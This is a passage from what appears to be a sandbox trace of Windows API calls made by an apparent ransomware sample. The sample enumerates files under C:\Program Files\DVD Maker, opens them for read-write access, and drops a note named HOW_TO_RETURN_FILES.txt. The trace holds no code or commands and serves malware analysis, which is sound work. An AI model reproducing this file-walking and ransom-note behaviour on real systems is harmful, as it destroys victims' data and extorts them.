dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.410] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.410] AreFileApisANSI () returned 1 [0125.410] GetACP () returned 0x4e4 [0125.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bod_r.TTF", cchWideChar=9, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bod_r.TTFhconverter.ax", lpUsedDefaultChar=0x37e064) returned 9 [0125.410] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.435] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.435] AreFileApisANSI () returned 1 [0125.435] GetACP () returned 0x4e4 [0125.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="directshowtap.ax", cchWideChar=16, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="directshowtap.axter.ax", lpUsedDefaultChar=0x37e064) returned 16 [0125.435] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.435] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.435] AreFileApisANSI () returned 1 [0125.436] GetACP () returned 0x4e4 [0125.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DVDMaker.exe", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="DVDMaker.exep.ax", lpUsedDefaultChar=0x37e064) returned 12 [0125.436] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.436] AreFileApisANSI () returned 1 [0125.436] GetACP () returned 0x4e4 [0125.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="en-USker.exe", lpUsedDefaultChar=0x37e064) returned 5 [0125.436] AreFileApisANSI () returned 1 [0125.436] GetACP () returned 0x4e4 [0125.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699928, cbMultiByte=33, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\en-US\\癣") returned 33 [0125.436] AreFileApisANSI () returned 1 [0125.436] GetACP () returned 0x4e4 [0125.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dfd8) returned 1 [0125.436] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.436] AreFileApisANSI () returned 1 [0125.436] GetACP () returned 0x4e4 [0125.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dfd8) returned 2 [0125.436] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.436] AreFileApisANSI () returned 1 [0125.436] GetACP () returned 0x4e4 [0125.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DVDMaker.exe.mui", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DVDMaker.exe.muiV", lpUsedDefaultChar=0x37dfd8) returned 16 [0125.436] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.437] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.437] AreFileApisANSI () returned 1 [0125.437] GetACP () returned 0x4e4 [0125.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OmdProject.dll.mui", cchWideChar=18, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OmdProject.dll.muiD", lpUsedDefaultChar=0x37dfd8) returned 18 [0125.437] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.459] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.459] AreFileApisANSI () returned 1 [0125.459] GetACP () returned 0x4e4 [0125.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll.mui", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="WMM2CLIP.dll.muiui", lpUsedDefaultChar=0x37dfd8) returned 16 [0125.459] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.460] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0125.460] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0125.460] AreFileApisANSI () returned 1 [0125.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a41e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0125.460] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0125.460] GetFileType (hFile=0x128) returned 0x1 [0125.461] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.461] AreFileApisANSI () returned 1 [0125.461] GetACP () returned 0x4e4 [0125.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Eurosti.TTF", cchWideChar=11, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="Eurosti.TTFe", lpUsedDefaultChar=0x37e064) returned 11 [0125.461] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.462] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.462] AreFileApisANSI () returned 1 [0125.462] GetACP () returned 0x4e4 [0125.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="fieldswitch.ax", cchWideChar=14, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="fieldswitch.axax", lpUsedDefaultChar=0x37e064) returned 14 [0125.462] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.463] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.463] AreFileApisANSI () returned 1 [0125.463] GetACP () returned 0x4e4 [0125.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="offset.ax", cchWideChar=9, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="offset.axch.ax", lpUsedDefaultChar=0x37e064) returned 9 [0125.463] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.463] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.463] AreFileApisANSI () returned 1 [0125.463] GetACP () returned 0x4e4 [0125.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OmdBase.dll", cchWideChar=11, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="OmdBase.dll.ax", lpUsedDefaultChar=0x37e064) returned 11 [0125.463] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.463] AreFileApisANSI () returned 1 [0125.463] GetACP () returned 0x4e4 [0125.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OmdProject.dll", cchWideChar=14, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="OmdProject.dll", lpUsedDefaultChar=0x37e064) returned 14 [0125.463] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.463] AreFileApisANSI () returned 1 [0125.463] GetACP () returned 0x4e4 [0125.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pipeline.dll", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="Pipeline.dllll", lpUsedDefaultChar=0x37e064) returned 12 [0125.463] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.463] AreFileApisANSI () returned 1 [0125.463] GetACP () returned 0x4e4 [0125.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PipeTran.dll", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="PipeTran.dll", lpUsedDefaultChar=0x37e064) returned 12 [0125.464] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.464] AreFileApisANSI () returned 1 [0125.464] GetACP () returned 0x4e4 [0125.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtstreamsink.ax", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="rtstreamsink.axx", lpUsedDefaultChar=0x37e064) returned 15 [0125.464] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.464] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.464] AreFileApisANSI () returned 1 [0125.464] GetACP () returned 0x4e4 [0125.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtstreamsource.ax", cchWideChar=17, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="rtstreamsource.axer.ax", lpUsedDefaultChar=0x37e064) returned 17 [0125.464] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.465] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.465] AreFileApisANSI () returned 1 [0125.465] GetACP () returned 0x4e4 [0125.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SecretST.TTF", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="SecretST.TTFce.ax", lpUsedDefaultChar=0x37e064) returned 12 [0125.465] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.465] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.465] AreFileApisANSI () returned 1 [0125.465] GetACP () returned 0x4e4 [0125.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Shared", cchWideChar=6, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="SharedST.TTF", lpUsedDefaultChar=0x37e064) returned 6 [0125.465] AreFileApisANSI () returned 1 [0125.465] GetACP () returned 0x4e4 [0125.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699928, cbMultiByte=34, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\") returned 34 [0125.467] AreFileApisANSI () returned 1 [0125.467] GetACP () returned 0x4e4 [0125.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dfd8) returned 1 [0125.467] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.467] AreFileApisANSI () returned 1 [0125.467] GetACP () returned 0x4e4 [0125.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dfd8) returned 2 [0125.467] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.467] AreFileApisANSI () returned 1 [0125.467] GetACP () returned 0x4e4 [0125.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Common.fxh", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Common.fxhs", lpUsedDefaultChar=0x37dfd8) returned 10 [0125.467] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.467] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.467] AreFileApisANSI () returned 1 [0125.467] GetACP () returned 0x4e4 [0125.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DissolveAnother.png", cchWideChar=19, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DissolveAnother.png", lpUsedDefaultChar=0x37dfd8) returned 19 [0125.467] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.468] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.468] AreFileApisANSI () returned 1 [0125.468] GetACP () returned 0x4e4 [0125.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DissolveNoise.png", cchWideChar=17, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DissolveNoise.pngng", lpUsedDefaultChar=0x37dfd8) returned 17 [0125.468] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.468] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.468] AreFileApisANSI () returned 1 [0125.468] GetACP () returned 0x4e4 [0125.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DvdStyles", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DvdStylesoise.png", lpUsedDefaultChar=0x37dfd8) returned 9 [0125.468] AreFileApisANSI () returned 1 [0125.468] GetACP () returned 0x4e4 [0125.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=44, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned 44 [0125.470] AreFileApisANSI () returned 1 [0125.470] GetACP () returned 0x4e4 [0125.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0125.470] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.471] AreFileApisANSI () returned 1 [0125.471] GetACP () returned 0x4e4 [0125.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37df4c) returned 2 [0125.471] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.471] AreFileApisANSI () returned 1 [0125.471] GetACP () returned 0x4e4 [0125.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16to9Squareframe_Buttongraphic.png", cchWideChar=34, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="16to9Squareframe_Buttongraphic.pngS", lpUsedDefaultChar=0x37df4c) returned 34 [0125.471] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.485] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.485] AreFileApisANSI () returned 1 [0125.485] GetACP () returned 0x4e4 [0125.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16to9Squareframe_SelectionSubpicture.png", cchWideChar=40, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="16to9Squareframe_SelectionSubpicture.pngr", lpUsedDefaultChar=0x37df4c) returned 40 [0125.485] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.485] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.485] AreFileApisANSI () returned 1 [0125.485] GetACP () returned 0x4e4 [0125.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16to9Squareframe_VideoInset.png", cchWideChar=31, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="16to9Squareframe_VideoInset.pngcture.png", lpUsedDefaultChar=0x37df4c) returned 31 [0125.485] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.486] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.486] AreFileApisANSI () returned 1 [0125.486] GetACP () returned 0x4e4 [0125.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4to3Squareframe_Buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="4to3Squareframe_Buttongraphic.pngure.png", lpUsedDefaultChar=0x37df4c) returned 33 [0125.486] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.486] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.486] AreFileApisANSI () returned 1 [0125.486] GetACP () returned 0x4e4 [0125.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4to3Squareframe_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="4to3Squareframe_SelectionSubpicture.pngg", lpUsedDefaultChar=0x37df4c) returned 39 [0125.486] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.487] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.487] AreFileApisANSI () returned 1 [0125.487] GetACP () returned 0x4e4 [0125.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4to3Squareframe_VideoInset.png", cchWideChar=30, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="4to3Squareframe_VideoInset.pngcture.png", lpUsedDefaultChar=0x37df4c) returned 30 [0125.487] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.487] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.487] AreFileApisANSI () returned 1 [0125.487] GetACP () returned 0x4e4 [0125.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoy", cchWideChar=7, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BabyBoyareframe_VideoInset.png", lpUsedDefaultChar=0x37df4c) returned 7 [0125.487] AreFileApisANSI () returned 1 [0125.487] GetACP () returned 0x4e4 [0125.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=52, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned 52 [0125.504] AreFileApisANSI () returned 1 [0125.504] GetACP () returned 0x4e4 [0125.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, 